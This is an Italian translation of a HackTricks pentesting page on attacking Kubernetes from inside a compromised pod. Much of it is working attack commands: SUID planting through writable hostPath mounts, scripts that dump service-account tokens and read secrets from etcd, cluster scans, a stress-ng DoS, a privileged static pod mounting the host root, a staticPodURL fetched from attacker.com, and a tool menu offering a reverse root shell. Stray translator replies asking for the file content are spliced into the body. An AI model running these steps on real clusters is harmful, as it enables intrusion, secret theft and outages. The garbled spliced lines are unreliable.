Attaccare Kubernetes dall'interno di un Pod

Reading time: 18 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Pod Breakout

Se sei abbastanza fortunato potresti riuscire a uscire da esso e raggiungere il node:

Evadere dal pod

Per provare a evadere dai pod potresti avere bisogno prima di escalate privileges, alcune tecniche per farlo:

Linux Privilege Escalation - HackTricks

Puoi consultare questi docker breakouts to try to escape da un pod che hai compromesso:

Docker Breakout / Privilege Escalation - HackTricks

Abuso di hostPath/bind mounts scrivibili (container -> host root via SUID planting)

Se un pod/container compromesso ha un volume scrivibile che mappa direttamente il filesystem dell'host (Kubernetes hostPath o Docker bind mount), e puoi ottenere root all'interno del container, puoi sfruttare il mount per creare un binario setuid-root sull'host e poi eseguirlo dall'host per ottenere root.

Condizioni chiave:

  • Il volume montato è scrivibile dall'interno del container (readOnly: false e permessi del filesystem permettono la scrittura).
  • Il filesystem dell'host che sta dietro al mount non è montato con l'opzione nosuid.
  • Hai un modo per eseguire il binario piantato sull'host (ad esempio, SSH/RCE separato sull'host, un utente sull'host può eseguirlo, o un altro vettore che esegue binari da quel percorso).

Come identificare hostPath/bind mounts scrivibili:

  • Con kubectl, controlla i volumi hostPath: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}'
  • Dall'interno del container, lista i mount, cerca host-path mounts e testa la scrivibilità:
bash
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount  # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"

Installare un setuid root binary dal container:

bash
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey"   # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash

Esegui sull'host per ottenere root:

bash
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p   # -p preserves effective UID 0 in bash

Notes and troubleshooting:

  • If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep ) and look for nosuid.
  • Se non riesci a ottenere un host execution path, mount scrivibili simili possono essere abusati per scrivere altri artefatti di persistence/priv-esc sull'host se la directory mappata è security-critical (es. aggiungere una root SSH key se il mount mappa in /root/.ssh, drop una unit cron/systemd se mappa in /etc, sostituire un binary owned by root in PATH che l'host eseguirà, ecc.). La fattibilità dipende interamente dal path montato.
  • This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath.

Abusing Kubernetes Privileges

Come spiegato nella sezione su kubernetes enumeration:

Kubernetes Enumeration

Di solito i pods vengono eseguiti con un service account token al loro interno. Questo service account potrebbe avere alcuni privileges attached to it che potresti abuse per move verso altri pods o addirittura per escape sui nodi configurati nel cluster. Scopri come in:

Abusing Roles/ClusterRoles in Kubernetes

Abusing Cloud Privileges

Se il pod è eseguito all'interno di un cloud environment potresti essere in grado di leak a token from the metadata endpoint e escalate privileges usando questo.

Search vulnerable network services

Poiché sei all'interno dell'ambiente Kubernetes, se non riesci a escalate privileges abusando dei privilegi correnti dei pods e non puoi escape dal container, dovresti search potential vulnerable services.

Services

For this purpose, you can try to get all the services of the kubernetes environment:

kubectl get svc --all-namespaces

Per impostazione predefinita, Kubernetes utilizza uno schema di rete piatto, il che significa any pod/service within the cluster can talk to other. Le namespaces all'interno del cluster don't have any network security restrictions by default. Chiunque nel namespace può parlare con altri namespaces.

Scansione

Lo script Bash che segue (tratto da un Kubernetes workshop) installerà e eseguirà la scansione degli intervalli IP del cluster Kubernetes:

bash
sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Check out the following page to learn how you could attack Kubernetes specific services to compromise other pods/all the environment:

Pentesting Kubernetes Services

Sniffing

Nel caso in cui il compromised pod is running some sensitive service dove altri pod devono autenticarsi, potresti essere in grado di ottenere le credenziali inviate dagli altri pod sniffing local communications.

Network Spoofing

Di default tecniche come ARP spoofing (e grazie a ciò DNS Spoofing) funzionano nella rete di kubernetes. Quindi, all'interno di un pod, se hai la NET_RAW capability (che è presente di default), sarai in grado di inviare pacchetti di rete personalizzati e svolgere MitM attacks via ARP Spoofing to all the pods running in the same node.
Inoltre, se il malicious pod è in esecuzione nello same node as the DNS Server, potrai eseguire un DNS Spoofing attack to all the pods in cluster.

Kubernetes Network Attacks

Node DoS

Nei manifest di Kubernetes spesso non c'è una specifica delle risorse e not applied limit ranges per i container. Come attacker, possiamo consume all the resources where the pod/deployment running e privare altre risorse causando un DoS per l'ambiente.

Questo può essere fatto con uno strumento come stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Puoi vedere la differenza tra quando stress-ng viene eseguito e dopo.

bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Node Post-Exploitation

If you managed to escape from the container ci sono alcune cose interessanti che troverai nel nodo:

  • The Container Runtime process (Docker)
  • Altri pods/containers in esecuzione sul nodo che puoi abusare come questo (più token)
  • L'intero filesystem e il sistema operativo in generale
  • Il servizio Kube-Proxy in ascolto
  • Il servizio Kubelet in ascolto. Controlla i file di configurazione:
  • Directory: /var/lib/kubelet/
  • /var/lib/kubelet/kubeconfig
  • /var/lib/kubelet/kubelet.conf
  • /var/lib/kubelet/config.yaml
  • /var/lib/kubelet/kubeadm-flags.env
  • /etc/kubernetes/kubelet-kubeconfig
  • /etc/kubernetes/admin.conf --> kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system
  • Altri kubernetes common files:
  • $HOME/.kube/config - User Config
  • /etc/kubernetes/kubelet.conf- Regular Config
  • /etc/kubernetes/bootstrap-kubelet.conf - Bootstrap Config
  • /etc/kubernetes/manifests/etcd.yaml - etcd Configuration
  • /etc/kubernetes/pki - Kubernetes Key

Find node kubeconfig

Se non riesci a trovare il file kubeconfig in uno dei percorsi sopra indicati, controlla l'argomento --kubeconfig del processo kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Rubare segreti

bash
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Lo script can-they.sh otterrà automaticamente i tokens di altri pod e controllerà se hanno il permesso che stai cercando (invece di controllare uno per uno):

bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Privileged DaemonSets

A DaemonSet è un pod che verrà eseguito in all the nodes of the cluster. Pertanto, se un DaemonSet è configurato con un privileged service account, in ALL the nodes potrai trovare il token di quel privileged service account che potresti abusare.

The exploit è lo stesso della sezione precedente, ma ora non dipendi dalla fortuna.

Pivot to Cloud

Se il cluster è gestito da un servizio cloud, di solito il Node avrà un accesso diverso al metadata endpoint rispetto al Pod. Quindi prova a accedere al metadata endpoint dal node (o da un pod con hostNetwork impostato su True):

Kubernetes Pivoting to Clouds

Steal etcd

Se puoi specificare il nodeName del Node che eseguirà il container, ottieni una shell all'interno di un control-plane node e recupera il etcd database:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

i nodi control-plane hanno il ruolo master e nei cluster gestiti dal cloud non potrai eseguire nulla in essi.

Leggere i secrets da etcd 1

Se puoi eseguire il tuo pod su un nodo control-plane usando il selettore nodeName nella spec del pod, potresti avere un facile accesso al database etcd, che contiene tutta la configurazione del cluster, inclusi tutti i secrets.

Di seguito un modo rapido e rozzo per recuperare i secrets da etcd se sta girando sul nodo control-plane su cui ti trovi. Se preferisci una soluzione più elegante che avvia un pod con l'utility client etcdctl e usa le credenziali del nodo control-plane per connettersi a etcd dovunque sia in esecuzione, guarda this example manifest from @mauilion.

Controlla se etcd è in esecuzione sul nodo control-plane e verifica dove si trova il database (Questo è su un cluster creato con kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

I don't have the file content. Please paste the markdown content of src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md that you want translated to Italian.

bash
data-dir=/var/lib/etcd

Visualizzare i dati nel database etcd:

bash
strings /var/lib/etcd/member/snap/db | less

Estrai i tokens dal database e mostra il service account name

bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Stesso comando, ma con alcuni greps per restituire solo il token di default nel namespace kube-system

bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Non hai fornito il contenuto da tradurre. Per favore incolla il testo di src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Leggere i segreti da etcd 2 from here

  1. Crea uno snapshot del etcd database. Vedi this script per ulteriori informazioni.
  2. Trasferisci lo snapshot etcd fuori dal nodo nel modo che preferisci.
  3. Estrai il database:
bash
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
  1. Avvia etcd sulla tua macchina locale e fai in modo che utilizzi lo snapshot rubato:
bash
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'

  1. Elenca tutti i secrets:
bash
etcdctl get "" --prefix --keys-only | grep secret
  1. Recupera i Secret:
bash
etcdctl get /registry/secrets/default/my-secret

Persistenza dei Static/Mirrored Pods

Static Pods sono gestiti direttamente dal demone kubelet su un nodo specifico, senza che l'API server li osservi. A differenza dei Pod gestiti dal control plane (per esempio, una Deployment); il kubelet watches each static Pod (e lo riavvia se fallisce).

Pertanto, gli static Pods sono sempre bound to one Kubelet su un nodo specifico.

Il kubelet automatically tries to create a mirror Pod on the Kubernetes API server per ogni static Pod. Questo significa che i Pod in esecuzione su un nodo sono visibili sull'API server, ma non possono essere controllati da lì. I nomi dei Pod saranno suffissati con l'hostname del nodo preceduto da un trattino.

caution

The spec of a static Pod cannot refer to other API objects (e.g., ServiceAccount, ConfigMap, Secret, etc. Quindi you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount sul nodo corrente per compromettere il cluster. Ma puoi usare questo per eseguire pod in namespace diversi (nel caso sia utile per qualche motivo).

Se sei all'interno dell'host del nodo puoi far sì che crei un static pod inside itself. Questo è molto utile perché potrebbe permetterti di create a pod in a different namespace come kube-system.

Per creare uno static pod, i docs are a great help. Fondamentalmente hai bisogno di 2 cose:

  • Configurare il parametro --pod-manifest-path=/etc/kubernetes/manifests nel kubelet service, o nella kubelet config (staticPodPath) e riavviare il servizio
  • Creare la definizione nella pod definition in /etc/kubernetes/manifests

Un altro modo più stealth sarebbe:

  • Modificare il parametro staticPodURL dal file di configurazione del kubelet e impostare qualcosa come staticPodURL: http://attacker.com:8765/pod.yaml. Questo farà sì che il processo kubelet crei un static pod ottenendo la configuration from the indicated URL.

Example of pod configuration to create a privilege pod in kube-system taken from here:

yaml
apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Eliminare pods + unschedulable nodes

Se un attaccante ha compromesso un node e può delete pods da altri node e rendere altri node incapaci di eseguire pods, i pods verranno rilanciati nel node compromesso e potrà rubare i tokens presenti in essi.
Per maggiori informazioni segui questo link.

Strumenti automatici

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks